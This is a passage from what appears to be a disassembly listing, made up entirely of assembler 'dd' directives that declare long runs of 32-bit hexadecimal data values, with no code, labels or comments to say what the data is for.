		dd 0BE0B47EAh, 0CA06DA64h, 10510CA1h, 3A15FD18h, 41623E3h
		dd 0E00C9DCEh, 1D5179C0h, 0D56AAFB2h, 8481F7B7h, 860F641Bh
		dd 411D326Ah, 0C119A65h, 989D231Eh, 0C0EBDD1Fh,	6C571108h
		dd 0D0A06C8Bh, 20FA222Ah, 0CA7B1D5Eh, 0F4C65171h, 57B8697Dh
		dd 2DB54F0Bh, 93C6F7B6h, 1283BE39h, 379D85C7h, 9CECF1Bh
		dd 9D898A81h, 25C32C75h, 6AB761h, 6823E32Fh, 6F0734B7h
		dd 56E7B8BDh, 7EB3A00h,	0E99D3561h, 0BC54B931h,	23A21279h
		dd 0F03F499h, 80218250h, 6D0AE425h, 0DAAC047h, 4A179099h
		dd 88FEA736h, 852A31A5h, 11A3B4F1h, 8B7314B0h, 8060C107h
		dd 0C064E8E1h, 67C4109Bh, 2D5C823Dh, 3BBEBCA0h,	0DCBF77C4h
		dd 0C7F56B1Dh, 353864C1h, 0A14FF6FBh, 970B0438h, 3E80499Bh
		dd 23D055C7h, 0E909B525h, 6E2BC04Bh, 9163CB1h, 0CF083AE8h
		dd 384F4091h, 2B17E86Eh, 95C85F72h, 45C002Fh, 0EE903DE1h
		dd 0EB006C86h, 0FBC7F4BDh, 0A3AC6320h, 412FA91h, 2CA1A4E8h
		dd 0FE50450Ah, 0C5802668h, 0B3303502h, 9E5B005Fh, 193AB7BEh
		dd 2C1FD7B5h, 0E809A482h, 0B7E329D6h, 7DAE807Ch, 60AB9520h
		dd 0E73A10BFh, 5E4700EFh, 58D10F5Bh, 0B8C461DFh, 80002C11h
		dd 98E899E5h, 0A9047DD6h, 28180A69h, 819422C9h,	0E5E18180h
		dd 3E274783h, 7A5A7FE8h, 7B14008Ah, 0EC9DEE09h,	0B6C0263Ah
		dd 260D0840h, 25BD2302h, 2B438E08h, 80ABBD0Ah, 0F7C22014h
		dd 0E834D997h, 3AFDB823h, 0C0005FBCh, 0E78AC2A5h, 0B74655B5h
		dd 3862A500h, 5D28BD8Bh, 35205B09h, 0AFB9010Ch,	0E85C92BAh
		dd 2C2C35E4h, 0A1266237h, 6184CF30h, 70C78BB8h,	140B9F2h
		dd 95B273E8h, 80193757h, 6AD5164Dh, 0EB00700Ch,	0BCBF6911h
		dd 0B2223CB6h, 0DE305FB2h, 421A80A4h, 3FBBEBh, 0CB81F960h
		dd 5052FCE7h, 19C66158h, 4FC707C9h, 0C8BF0F10h,	2B217AC4h
		dd 3ADF8100h, 0A1ED758h, 286C3BE8h, 0B0510FF6h,	7262CA01h
		dd 724098EFh, 5C2403B2h, 9A7800Bh, 725673BAh, 2A5033C0h
		dd 535B4209h, 50004F7h,	6C29FC09h, 0CD277A76h, 8166C487h
		dd 71DED39h, 0B4E8F261h, 0D03760AFh, 7813BD80h,	246B39CDh
		dd 10C301BAh, 1E19852Fh, 38E8EBF9h, 864FD0FFh, 3EB2F314h
		dd 293511F7h, 60B95833h, 0A47EF88Ah, 0EC806107h, 0F159A219h
		dd 0FABD551Ch, 0E83A7003h, 9B674F25h, 3CAE85C4h, 61008AB2h
		dd 0A8371362h, 0DF137B52h, 0AD4946E1h, 0D0BA5323h, 41026098h
		dd 0E88BBA03h, 7BC6CACDh, 808B700Eh, 969FD931h,	9002215h
		dd 0A3D3F9BDh, 0DFBACFC1h, 6B930061h, 1260453h,	0D85E092Bh
		dd 9212415Fh, 88E1A548h, 3FB86D7Dh, 42E47000h, 0CD8D89C5h
		dd 59FFA919h, 79167FB1h, 0DD374310h, 0ED807B05h, 7E9B098h
		dd 180083BCh, 15AFB4B6h, 0C44BB1CFh, 0B9125DE6h, 8C18A8EEh
		dd 3DC44504h, 0E9B9BE55h, 2732E984h, 0C681C820h, 9E7B12B5h
		dd 42B1A105h, 997E89AFh, 4D86892Fh, 0EF85C013h,	3150E475h
		dd 0E80496E7h, 0D82B7E26h, 0DB80ABB8h, 8AA75889h, 50932A07h
		dd 347AFB5h, 0C252E945h, 16B236F6h, 48C91230h, 0D1042A59h
		dd 0AF5B762Bh, 6B3D3F6Eh, 91205980h, 0AEE932E2h, 8953A605h
		dd 72A04D95h, 278D775Eh, 0CECF2649h, 60BD6340h,	2FCA4C8Ah
		dd 6E5B1A27h, 0C0FE8471h, 7F89CAE5h, 0E9E1AD42h, 81004551h
		dd 0EA685CDEh, 29E4DF51h, 1814F9C9h, 0A2094829h, 81582020h
		dd 19F0DAEh, 0E15BF21Eh, 9B4722C0h, 8B08110Fh, 28155DB5h
		dd 8FAE3A7h, 0D453A585h, 93F10072h, 1413BEC0h, 833681E8h
		dd 0FF0BF517h, 74C1D9DBh, 0C8A014FFh, 0EC0919A3h, 798E0FF6h
		dd 95D7800Ah, 158D0128h, 1AC51665h, 63E0A0B6h, 5F012B73h
		dd 0BB839143h, 67609457h, 9A8CABCEh, 0C53CFAB5h, 0B725F9DCh
		dd 4616A08Fh, 0DAF7C3Dh, 9E815A0Ah, 359DC8BAh, 4AC71F57h
		dd 0DD80E7DAh, 6D311894h, 0B9D6D306h, 65CCA69Fh, 0C8BDBAF6h
		dd 0F9759D0Dh, 0C0969CACh, 0E76103D4h, 2F7D1792h, 0A161339Ah
		dd 8960020Ah, 55916A9Ah, 61471A74h, 966DEDDh, 8859C0F1h
		dd 0B2B31C8h, 174A8B0Fh, 64B65C55h, 0ADE0268Ch,	0E0D7E5C6h
		dd 0B18B1F56h, 0D15D1D9Dh, 7A3FBE2Ah, 846EFC0Eh, 0F9BE7FA3h
		dd 1101CE16h, 0DBA0CFF7h, 0E9025DD5h, 0BD8BD427h, 0A0675A59h
		dd 43AD952Bh, 7C9E542Dh, 0C97A8364h, 0A17DD8B1h, 4D140DB8h
		dd 20C809CBh, 191B951Bh, 0B8F0805Dh, 48A101B0h,	4F38E649h
		dd 0FF206F6Ch, 0D8ED512h, 1676430Eh, 817760D3h,	0C8E9E5C4h
		dd 0ADE170BBh, 660523A1h, 6405607Ch, 0DB4E8FB8h, 0EA7A87D9h
		dd 23A8721Eh, 0ABD8E480h, 0F80297D0h, 0DF7D07B3h, 4FEBC073h
		dd 3275252Ch, 9B98260h,	4E175A15h, 2A8BC3Fh, 297EAB8Eh
		dd 0DDA9B98Dh, 1F44A74h
		dd 206AD111h, 30CB5078h, 454E8573h, 0ABFEC489h,	493304AAh
		dd 0A53DC349h, 0F3C58A0Bh, 0BACA70C8h, 4B89EC16h, 8BFFDB02h
		dd 0DD3757C0h, 0CB9E8416h, 8C9AFE97h, 955E3888h, 80C2355Dh
		dd 0B950E7A0h, 3813C9A6h, 85F65E41h, 0CC3466E0h, 208ECF00h
		dd 0B3AFE2BCh, 0D8D1289h, 0D139D01Ah, 8BA28580h, 2690EF4h
		dd 41C692Fh, 8114A850h,	0DF31FA99h, 3969D0F3h, 0BCF160Fh
		dd 3D3FB12Fh, 0BA2AB9F9h, 1FF87A34h, 0ADD61F80h, 6A4FB24Bh
		dd 0ACC0DE9Bh, 0CBBA4332h, 489D8B2Dh, 30BF6635h, 8A544FEDh
		dd 4260B7D8h, 0B324EFEh, 0DC6B9606h, 0ACF99028h, 0F19FFA1Fh
		dd 28B11E97h, 1AF05D66h, 2D01885Dh, 63C403CBh, 0C32B9870h
		dd 0CC38D939h, 786140EDh, 50F93F90h, 0A28C8CEh,	0FB97991Eh
		dd 69ED94C3h, 80C0A085h, 0D67A0015h, 667137D2h,	69DC68Bh
		dd 2749D7F6h, 9810F1BDh, 7D28B531h, 78C50804h, 39ED19E9h
		dd 41BB66C0h, 7BE38DF1h, 1CA61B53h, 0B89698E0h,	9901510Eh
		dd 8950819Ch, 42871BDh,	0D1FF5B09h, 1DC9DDEh, 6C3AD078h
		dd 2AD7163Fh, 764E72ABh, 26AF521h, 62F39B66h, 0A4851482h
		dd 1E07AADEh, 598AB9E7h, 21AF39D6h, 0EB95E085h,	0FDB805C4h
		dd 0C0EA9E29h, 0F28AFD1h, 0FAD851BFh, 5E6EE9CCh, 1080CB0Eh
		dd 9093258h, 0AA9C5B5h,	7780F237h, 0BDDFE7C4h, 0DA99E8h
		dd 0FFF5D981h, 0D600B92Fh, 1CFC8957h, 53293Bh, 3C5C475Dh
		dd 0E7802DAFh, 0CE5F4C24h, 4B910A0Eh, 70515B06h, 591DE917h
		dd 0BB8B02D3h, 4D0F2FCh, 0FF64DA8Bh, 943FEE35h,	68001A23h
		dd 0FD6B8A3Eh, 0A0874B6Dh, 55822A68h, 5C4B3954h, 0BC00DE99h
		dd 8AF10547h, 5A76BAF4h, 377C2060h, 0DD0E951Ah,	27DCE7Ah
		dd 756166D9h, 35620189h, 74E99DF6h, 0E300D40Eh,	0B9CAB34h
		dd 4E0C011Ah, 74DFF851h, 0FF6A1912h, 0F4B855F9h, 858FB801h
		dd 283B3DBAh, 0C3BDC743h, 0B5B72F22h, 0BFF9E7A0h, 77246339h
		dd 3509845Ch, 0C2715530h, 985109ADh, 0C3D361Eh,	0B0BE655Fh
		dd 0A4A8F1Eh, 0A96DD8ABh, 96B2FB0Bh, 1037D072h,	920FC9B5h
		dd 0BBB4BCCh, 11FBCEEh,	0CD605572h, 2FDDBF1Bh, 2685B033h
		dd 0B57C8B6h, 3C730395h, 0D816DB24h, 0B11706F9h, 4B02A226h
		dd 72E113C0h, 2DCB90CAh, 400661C7h, 855A502Bh, 0D1E0C8D7h
		dd 2CF8150h, 7BF53C0Eh,	445CE95Bh, 0C75DBB40h, 5D854F8Bh
		dd 1DFE96C6h, 2B4B442h,	0CDBD2B47h, 1E60256Bh, 2A0EBF3Ch
		dd 2AD0643Bh, 0E9FC421Eh, 80628458h, 8A21C8B2h,	759D3302h
		dd 0A5367E0Bh, 5C29C257h, 0CDC66C2Ah, 0CB80ECA8h, 0E991154Bh
		dd 9102884h, 2B65A98Dh,	1E01A597h, 0CEB756FEh, 0A8959220h
		dd 4AC59D6Dh, 0A54F9105h, 68AC042Eh, 0E2B58D87h, 74550ACBh
		dd 0B201DCC2h, 0F1B0DCCh, 8DC4B791h, 6B8CEC15h,	0C179271Fh
		dd 427D7000h, 1E0224h, 0C7BDE4B1h, 0F82BBEAAh, 44C26705h
		dd 9F947E16h, 945F834Ch, 0F3D32D80h, 88942646h,	299D2D40h
		dd 573A05BDh, 4A97B97Dh, 399EFCB9h, 80279BCAh, 33DB7313h
		dd 5BD7044Ah, 0A6FCA996h, 806AE1FCh, 5E0FABCCh,	52E89089h
		dd 797ABD33h, 52F55B80h, 4F7AC8B8h, 0C3F33088h,	0BA516FBFh
		dd 4B4C2810h, 0C988C85Dh, 33AD071Ch, 0D0A0DCC2h, 2798348h
		dd 9D89F475h, 0BC9558C1h, 0D301DCAFh, 0C262563Bh, 0A020B731h
		dd 8CA64B7Ah, 88690DF5h, 0DC2E560Bh, 33375400h,	81AC0C66h
		dd 0C5CF09D7h, 505597Ch, 0E37ADB1h, 0D31B4195h,	0D7BCA7BDh
		dd 6A291012h, 8E129048h, 9E97058Dh, 9DD18020h, 0FE58BFA5h
		dd 504B0E81h, 1843C28Bh, 878C103h, 19CC56E9h, 51F5582Fh
		dd 2B40096h, 0EB4A0F0Eh, 3A3D4325h, 0D1C1C049h,	0FEFE820Bh
		dd 0D72BB621h, 55B678h,	351FF5F9h, 9915E92Bh, 25201290h
		dd 0F88B242Ah, 0AE53A547h, 0BC01D5D2h, 88D648E8h, 1C041D5Ch
		dd 4DB4498Dh, 22DFAA68h, 0E1FFBF12h, 0ADE023E6h, 0F95BEB4Dh
		dd 950EC784h, 3AC41069h, 86931D04h, 9B5039F2h, 8074155h
		dd 3B81011Ah, 0F53E0515h, 3136305h, 0ABF24E32h,	0F11DF8Bh
		dd 0B8433D60h, 472500C1h, 0AF2B2354h, 8D4C0FE2h, 8A60826Fh
		dd 0CF78C1EEh, 6B588C02h, 1B0C4D20h, 0D504E180h, 0A031E8Ah
		dd 5ACA34C9h, 3519C2F5h, 851808C4h, 0F33D306Dh,	733379C3h
		dd 0E82DFF05h, 8C005EBCh, 52F1BD56h, 2D121BAAh,	25C45090h
		dd 0A4720E00h, 846C79EDh, 3B9B0F23h, 9E4735DEh,	662C6031h
		dd 905D2537h, 1CFDBCBBh, 5FF2C2h, 0EFDA336Bh, 702F781h
		dd 8B7AA64Ah, 303D7FD9h, 55062701h, 65D43009h, 5C6663F6h
		dd 0A0562C6h, 0E89471EFh, 2DFF2EC8h, 9FE11F03h,	44860808h
		dd 5F4C5302h, 16B6B10h,	5227B969h, 615BD9D7h, 0DFA6F6C7h
		dd 0CFFA2713h, 9C917D95h, 4516AC61h, 0F53B370Fh, 40495861h
		dd 0F6EBB335h, 10150B40h, 9191449Ch, 0DB6E5Bh, 0C620F8DEh
		dd 2E226D46h, 0B583C40h, 1E89B372h, 0BDC6754h, 1DDE9CEh
		dd 0ADBD91A1h, 540C0531h, 27295B6Ah, 0E526195h,	0CF9518E0h
		dd 0B1C06953h, 0D8728BE9h, 676EB531h, 0EA405360h, 7888C2CAh
		dd 7C1BBD5Bh, 19D8D1E0h, 0D431A12Ah, 42798525h,	0A537D523h
		dd 3A192901h, 6F6A896Bh, 976B094Fh, 56E932EDh, 5A48DCB8h
		dd 0BFD1714h, 2D692A21h, 0C1852900h, 890B1994h,	0E79EC046h
		dd 43B34CB0h, 50406D38h, 240A34FEh, 0DCB5FFF5h,	71AFD34Bh
		dd 0C76480A6h, 0D6688AE8h, 3079743Ah, 0F6270EE9h, 0E7033B22h
		dd 6272341Ch, 0D620F886h, 811130B8h, 66392986h,	0F01376F7h
		dd 378CE879h, 76E26038h, 0D1ECFF01h, 612407B2h,	7C4B7C8Dh
		dd 3201DE35h, 5203D9C7h, 83D09834h, 0DAB80660h,	7A1B50F3h
		dd 6F12F130h, 55918509h, 0FD46B529h, 2DCC96FAh,	0ADDF3910h
		dd 7FEDFA00h, 279D4BC6h, 9AE42408h, 0C85349FCh,	9603AD0h
		dd 21950152h, 0F8591225h, 88576A25h, 85C7FC05h,	9E6E928Dh
		dd 3B93C087h, 2D37B16h,	0BD31ACA4h, 0C4C422E5h,	0F19ABC84h
		dd 9E3B2E6Ch, 5D334B45h, 38D6EAA3h, 0F74A38E9h,	52AEA1D6h
		dd 700C30D0h, 0F447311h, 10E8C101h, 0B8410E5Ah,	5803F84Ch
		dd 0E786BA94h, 0EF3636EBh, 0F71C6402h, 501B190Bh, 21A02829h
		dd 13586618h, 1B845701h, 0C04A8BE0h, 0DEE0B0A6h, 4702C9B8h
		dd 0E19D2988h, 0F4EA7C17h, 6978EF02h, 40DBB70Fh, 2E7CCEE1h
		dd 509F05FDh, 4417785h,	6A30E80Bh, 0F99D2B1Bh, 0BF71A295h
		dd 0F2D62FBh, 0AEFE0116h, 9AEF7E95h, 0F3C46A45h, 66957022h
		dd 0EA315224h, 5BA58425h, 6CBD6F87h, 1B6F3Bh, 0C4F749CBh
		dd 5FD4AE67h, 0AB50808Ah, 0C397C733h, 75FD9499h, 6D0038BCh
		dd 224C83D4h, 1C07429h,	51B9BF96h, 0DE50454Ah, 9EB7D7h
		dd 4A5A8D3Ah, 1D28A848h, 4596D565h, 0D612F360h,	3BDA4C8Bh
		dd 8CA4B3C0h, 1701BDB4h, 4D5B04AEh, 0D759A9D9h,	7DEE2931h
		dd 911FD10h, 52445582h,	0C003979h, 9F1D0AD9h, 51C7FAh
		dd 5B211796h, 0BB6682C8h, 5F702812h, 408012FCh,	0DD1DD011h
		dd 1B517200h, 0AD07E373h, 1CFA0532h, 6519BAD9h,	0E0BAE6E4h
		dd 0BA250D9h, 9131C54h,	62C07C3h, 0C908BCDEh, 5AF63E2Ch
		dd 896703B5h, 455AC486h, 32083F20h, 0CEEB0147h,	1C1EA7DCh
		dd 0D06938DDh, 75F1B7B6h, 0DB2EC283h, 0DB3CC07Fh, 4B50894Ah
		dd 8435DB20h, 20BEB359h, 0C97144A4h, 80A7FE04h,	9881CF32h
		dd 0AE42C7EDh, 28CC9856h, 0C6F52436h, 4BBD0070h, 0C73A4DA2h
		dd 8E0D1102h, 0C0AFEB76h
		dd 0B5B88601h, 42604ECFh, 17B71713h, 0D1FA8BC9h, 62275BBh
		dd 151D5F0Ch, 0C5964687h, 0E726C539h, 676A5B15h, 0BC3A0270h
		dd 8BF5CDDCh, 32197440h, 3DB39680h, 0FEBB5091h,	0F26E5Fh
		dd 0B9ADEC1Eh, 4A6131C4h, 5B89FA16h, 5410C8Ah, 8070CC70h
		dd 0DED5F732h, 276056A5h, 0D0C2136Dh, 1E397529h, 0ADDA30FAh
		dd 1A070821h, 2FCD2156h, 54BC20E4h, 2912EE80h, 4B7D5C04h
		dd 96DB920Eh, 49F23656h, 81146E01h, 0C4208290h,	8700471Eh
		dd 0D9C54D0Fh, 1E357C31h, 9B505F5Bh, 96823383h,	6CF8D941h
		dd 9A0A292Ch, 70A1F349h, 731428C0h, 2F8CFDDEh, 0BB5E08FEh
		dd 0DB260509h, 8E9CD0FCh, 1F73F701h, 2503FAA3h,	0D1B65654h
		dd 5ED287F0h, 286E7802h, 55D739E1h, 6F2DC5FEh, 75C74089h
		dd 32120C4Ch, 0B04F7B7h, 20803B1h, 0D3DE7612h, 0E52270C1h
		dd 20813FF4h, 0D8782FA6h, 0A66F072Dh, 0A1689343h, 0DE6AC65Bh
		dd 0ED3D80D0h, 91EEEB8h, 690F8385h, 8ED6FB09h, 0DCA4C79Bh
		dd 0C0ECE8AEh, 0E0F4CB81h, 0F2FA1CE9h, 0D4B765FFh, 0B5093501h
		dd 0C1122F75h, 1270CFD3h, 7C37F25Ch, 277CB8DEh,	7ADB0229h
		dd 2F58FBA7h, 6090D611h, 2AE95081h, 1E871020h, 0C4F84B7Ch
		dd 2A51BCBFh, 0E2031056h, 0C1AA60DBh, 8123135Fh, 0D22EBC0Eh
		dd 89C16F94h, 0B32C0F85h, 0B42B482h, 0DCD8D457h, 0D3876B17h
		dd 9EA4065h, 35570AC3h,	8515114Dh, 20ABE450h, 9C0929DBh
		dd 0F1E5E116h, 77B8EDC8h, 93A024DCh, 559C008Fh,	0B97EE1A7h
		dd 154FB709h, 245F05Fh,	0B3905D18h, 7ED6509Eh, 45685140h
		dd 0A41A3F84h, 0B5DB2AE3h, 37D76AD2h, 666B8062h, 0AD0FE774h
		dd 86A16A75h, 875615A1h, 827063E8h, 0C4306D55h,	15856018h
		dd 0A5202AEDh, 409026Ch, 0E48766BCh, 5B49845Eh,	0F8A78D6h
		dd 9D299609h, 0FFFF6051h, 6057ADD1h, 982215B8h,	7BCAB14Bh
		dd 4CCF6125h, 0E7B52960h, 311700A6h, 1FBF3D72h,	904CAC7h
		dd 9D33026Ah, 409A9AFh,	9CBCBB66h, 44E8F0E0h, 300FB0Dh
		dd 33920B34h, 4885CD3h,	9C7A1B52h, 0D6F6FC60h, 5F610105h
		dd 7D306FD9h, 0E92D4009h, 0E50DC825h, 16BE9266h, 0F001F6B6h
		dd 18AE01ACh, 70FA3A4Eh, 12830249h, 0F3B1B9D0h,	0A6D87A4Eh
		dd 802ED926h, 2D985290h, 817ADE9Ah, 0A3BFD88Bh,	12D37B97h
		dd 90E8905Bh, 0E6FA5CA9h, 96802B01h, 0F1D0F570h, 0C1974Ch
		dd 0ECD13B24h, 4DBEF46Eh, 6643FE00h, 23EB801Ch,	612FE35Fh
		dd 2FD98B68h, 0ED394229h, 9D03DCA8h, 96298442h,	613AFA5Fh
		dd 5ED6F571h, 0DF4D5A32h, 9048666Bh, 80DF02B6h,	0FF6A13D7h
		dd 22708173h, 6B519002h, 3802998Dh, 53DE2C11h, 0A1E6F8F4h
		dd 0F242B2B4h, 97A2D0FDh, 2B3F4931h, 4D9C60BEh,	8600E2DDh
		dd 666CF3E8h, 38A7DBF7h, 0E60EB0D7h, 0F012B370h, 3458939h
		dd 5EFE8102h, 1158937h,	6D7CBC6Ch, 828CB33Eh, 0B8C7EB2Eh
		dd 25415EE8h, 0FA413BCCh, 1EEBB220h, 0D61A7013h, 15816180h
		dd 47242F02h, 1B5D3981h, 0E83257Ah, 2B06DE74h, 0D4480CC8h
		dd 5BD12F73h, 1245269Eh, 61E615h, 8050DC8Ah, 0B85BA7DFh
		dd 0A029B774h, 0D0ADFB22h, 0A7204F5Eh, 0E41C7125h, 880F1249h
		dd 0D070AE13h, 0C5E4C3Fh, 2F9D03F2h, 0E8A96936h, 7B882E5Fh
		dd 0F17B005Ch, 71FE0BA0h, 0EA84F63h, 0A1004728h, 0E901D35h
		dd 4665A6Dh, 5B97B3BFh,	2280BD5Fh, 21CC110h, 4854E96Ah
		dd 24958FAAh, 34BAF8B9h, 4F8E044Eh, 886DBC5Dh, 0E394A83Ah
		dd 0A1B4A9B1h, 0A5EB9417h, 74FE251Fh, 25E0604Ah, 0A800EA70h
		dd 0B1A539AFh, 542E241h, 0B9931663h, 9D46E889h,	4B7A8D9Ch
		dd 5B107FCAh, 0F88B0CD3h, 4E55896Ah, 460A70Ch, 0DDCB9F9h
		dd 0A5A05AE7h, 14B452Ah, 844BBEB2h, 66EBE52h, 643F0A0Fh
		dd 42A540C0h, 9BA3FCBCh, 2B0207F2h, 70D958C0h, 25D4A6BAh
		dd 16E7C5FDh, 0C01EEDA7h, 48DCC96Fh, 52553A40h,	7D10E133h
		dd 880D1201h, 5BF07BBAh, 2214CE0h, 9D8962E2h, 32821F01h
		dd 105E04EDh, 1D09D8EAh, 69F17110h, 640464Dh, 9054E891h
		dd 48BF7A5Dh, 205EEC60h, 0AB247149h, 89762C00h,	0FC644CEDh
		dd 49EF09A9h, 8796183h,	0DC197C5Ah, 9C91D201h, 6E860E9h
		dd 0DDC97E10h, 0B7F4E3EEh, 315B5C02h, 640A8185h, 0E4CB3D28h
		dd 222BCA4Bh, 0B2535F73h, 77B24A69h, 0D93B6C80h, 0B8705B1Fh
		dd 28F6ADBCh, 25D4C954h, 0EEE1E49h, 4DC4996h, 0FF5DBB31h
		dd 0DF7C8387h, 1140E1AAh, 0BD882F95h, 971792FDh, 0B1451614h
		dd 0E0F0CB36h, 92FC069Bh, 0DA8A6112h, 9C882CF2h, 5FEF8180h
		dd 851B60D9h, 76045389h, 4212F489h, 500963D7h, 0AC1678DEh
		dd 0C0E1030Eh, 0C387DB17h, 8B5E61E0h, 15C1B510h, 268A9778h
		dd 0F30192AAh, 94902225h, 0CA00DC3Ch, 2C0AAE45h, 9535B547h
		dd 55DB599Ah, 2ECC0571h, 0EF783A15h, 0B501DD05h, 2EFDA159h
		dd 8A0F6831h, 0B789472Eh, 399DE23Dh, 905BF3F0h,	0F5E55A21h
		dd 3CF0BCF9h, 0B9E100A8h, 65C31480h, 0BF00B25Ah, 605006AAh
		dd 0DC810F52h, 0E9590B35h, 0A3F7BE10h, 4A8C1200h, 0A8898B6Ah
		dd 27F600C4h, 0B3E8465Bh, 0C501FEF7h, 0B5319061h, 7F4518B9h
		dd 0F36220BBh, 8A076316h, 0DDC5891Eh, 6728C4F0h, 7A430072h
		dd 2481A368h, 0CEBF565Ch, 0DCDA12F4h, 5C7FB05Fh, 403B822Dh
		dd 0B41B9100h, 5F00F445h, 51BB75D4h, 4864BC22h,	0AD100E2Ch
		dd 2E503E03h, 15104809h, 0DDCB5B38h, 0B30B2608h, 9A2E4EFh
		dd 6C9D6E00h, 5CB0D668h, 2C98B700h, 2AE9872Dh, 5A6FBD02h
		dd 0E176D441h, 80D08631h, 600F25D6h, 4CD82B39h,	1C0186EFh
		dd 2625A6A5h, 0A8F71BF7h, 7890E7BFh, 68BD0408h,	0BC6184C1h
		dd 0BF52D85Bh, 4073BEF8h, 8287E4D3h, 3AB33D00h,	0A66ECE6Dh
		dd 39E60978h, 0CA2EABDEh, 6F72F352h, 54F2D244h,	0BC70A94Bh
		dd 91380288h, 0CB41D8AAh, 32067D46h, 1C5848DAh,	26C400F2h
		dd 3D560CB0h, 0F212713Fh, 76F34F2Ch, 0D996663Bh, 0BC90BD89h
		dd 0FB8D2695h, 63765201h, 76B7ED4h, 707F0795h, 0E5A17EA4h
		dd 0EA9DBD89h, 9B5CF0Eh, 2E5D791Bh, 6B08406Eh, 0A4FEC4FBh
		dd 2A9D7412h, 0E3C96C0Ch, 0FEE4C75Fh, 50DFB396h, 13FA0E20h
		dd 4E0F45BDh, 4B11862Ch, 32F77985h, 0DEAD7BB0h,	3372771Ch
		dd 0B300336Eh, 74A668B5h, 5660314Fh, 245BF984h,	773E59F1h
		dd 0BCEB4950h, 0AF491C33h, 56720090h, 95018D4Bh, 73FFD169h
		dd 1816596Dh, 5CC1F847h, 2D10D460h, 0CDCD4017h,	82210541h
		dd 0C3805528h, 363D97BBh, 507CB013h, 5F127BB3h,	0B878F05Bh
		dd 8202145Ah, 6A64F1C7h, 0D6BDFF6Eh, 0D59B2580h, 3E7C19Dh
		dd 9589BC32h, 0A3480415h, 0EFDA2500h, 60176469h, 0EA39163h
		dd 598D31C4h, 8E66F372h, 0ED2F1C55h, 6C4BE08Dh,	80139E7Eh
		dd 72FD83DBh, 28C19A8h,	46716B6Eh, 2565816h, 0A28AAF40h
		dd 82620996h, 8D795ECAh, 252128D7h, 34440BC7h, 0EDA18F00h
		dd 5D0C4D34h, 0CA234B1Ah, 99FB2A52h, 3AE3810Eh,	23656021h
		dd 0A71635BDh, 3E289E0h, 0F4E8D4h, 39F3A3E6h, 81DF77A1h
		dd 0CA94CF04h, 0A975B5h, 0FA8C1BACh, 0EC760929h, 5688C2C5h
		dd 65321D89h, 42969FEEh, 37C501D4h, 0E48BD7BAh,	9662FEFFh
		dd 269BB56h, 90B8D9Bh, 0D9A77D71h, 0EF818042h, 297C6B5Ch
		dd 0EDB7505Fh, 0E123F313h, 8029782Fh, 0CD578A92h, 0EEB095CEh
		dd 264B458Dh, 6E6B34DDh, 0BB07737Bh, 0FDCEFA74h, 0D618289h
		dd 47700807h, 12D67660h
		dd 59686559h, 0D954B03h, 0E0B8D3FDh, 77238997h,	8F84E1BDh
		dd 8BE5D8D1h, 0B707A6Bh, 644BF913h, 3AC200BCh, 327AE946h
		dd 4C1285D1h, 55F15F3Ch, 546BBF2Eh, 78C1D527h, 59B80410h
		dd 6DE78101h, 2F148402h, 33FD3534h, 0DD90D3B8h,	0DB27092Fh
		dd 0C2E401F8h, 2FC59713h, 37BA4835h, 0B48264BDh, 5F275621h
		dd 0BB62B76Ah, 0CC493E81h, 26F8E5D2h, 599A5F5Ch, 2EC01DC8h
		dd 3700995h, 335F5BCEh,	0BD994E0Eh, 92D62861h, 0F70582B1h
		dd 30DBA612h, 0A195F682h, 0B4C4EA42h, 564E91h, 4CD21D2Fh
		dd 6CA23863h, 5AEF8012h, 847A3EEh, 0A51D55BDh, 594F6BC2h
		dd 0A9C40D63h, 0DADD71F8h, 97F650CEh, 1D456B14h, 415D6460h
		dd 25002E2Ch, 3ABB50D8h, 4DE83DE2h, 29BD0305h, 0B949A401h
		dd 6DAD8EA7h, 0E60A406Dh, 0EE0431FBh, 447BA155h, 0B13F89C1h
		dd 6834362Fh, 12C33FB5h, 1A7A0877h, 6D90E896h, 0C14E37h
		dd 438A0632h, 0D4035B92h, 0ED0A4913h, 2D11B704h, 0CFC02F1Fh
		dd 0D5041CAh, 99976191h, 2E885131h, 0C5A52ECDh,	12281117h
		dd 0F5E3DA8Ah, 0C6C28C5Ah, 0F1B32BE1h, 0A4C4E60Ch, 0BD008A22h
		dd 0E518A81Dh, 9EEA232h, 26870840h, 5F69C971h, 0D5692E51h
		dd 0D154D4A1h, 0F3A1F3D7h, 9531C4FFh, 0C6048D25h, 0F735B5BAh
		dd 6792D702h, 2742E61Ch, 703207CEh, 0CFADC056h,	0E71D40C5h
		dd 4B0009DEh, 69C4B1FEh, 92659D31h, 20505F4Eh, 6ACCE18Ch
		dd 0A404F0FCh, 14DC55EBh, 0BF0291BAh, 0ED5DFADFh, 25ACE0C1h
		dd 0FA009DC4h, 5478947Dh, 26A1BF12h, 823C59DFh,	2C0DB589h
		dd 60367C5Dh, 3BF345E1h, 0FA05B600h, 3CA06C15h,	2DAB05B3h
		dd 226025Ch, 0B52FF90h,	12DE51D4h, 0E13AF868h, 0F96E3AFCh
		dd 0BDFF1300h, 7954D520h, 4D9D2318h, 976051CBh,	0D1008A64h
		dd 44AC80E1h, 9DAA5C8h,	58FA52A1h, 61D03780h, 0A69C505Fh
		dd 0C1B5BBA0h, 0E10518F3h, 0EFCFFB43h, 0F871ED12h, 0C5A0117h
		dd 6A3E48C0h, 8F6A3C27h, 9E58A0CBh, 0A1C9Dh, 0D465BDE2h
		dd 681DFD5Bh, 0F5C62104h, 8AEBFCD6h, 0ADEDA033h, 31907D0h
		dd 198D2C12h, 28BBF5Fh,	0FCA02CBDh, 31D1A3C0h, 184BC5F0h
		dd 34A5CBAAh, 6EAB3BD0h, 0AD120187h, 0D77C8B4Fh, 40757934h
		dd 25B6A30h, 0E1E008A6h, 0D600FC3Bh, 8113D8BCh,	0EAAF6BEFh
		dd 887AFF63h, 0D50FAE76h, 0E047B232h, 0F93CCB8h, 1F6F97F9h
		dd 0DCFFC06Fh, 0ECDD826h, 0BD858919h, 0F284F693h, 0FE93014h
		dd 0C02062FBh, 74DC3586h, 133000D5h, 4E4AD8DDh,	1D261C5Eh
		dd 2C104D0Bh, 0EEE95B04h, 0B14BBC0Ch, 0A2055309h, 109B1F94h
		dd 0D89E2D02h, 5040F5D5h, 0E7706F3Eh, 0F0F6234Fh, 48BC66E0h
		dd 0E6F81A25h, 0BAE79854h, 302976ECh, 900C2019h, 53095250h
		dd 0EB5F2AB7h, 589BD758h, 905B2D0Eh, 84C1EE6Dh,	0E6D48DB9h
		dd 0FA4E276Eh, 0F925CB78h, 4AEED52Ah, 5F573297h, 33717C89h
		dd 1F54D84Bh, 276A6775h, 8C70D9DBh, 3CE32880h, 1AA13082h
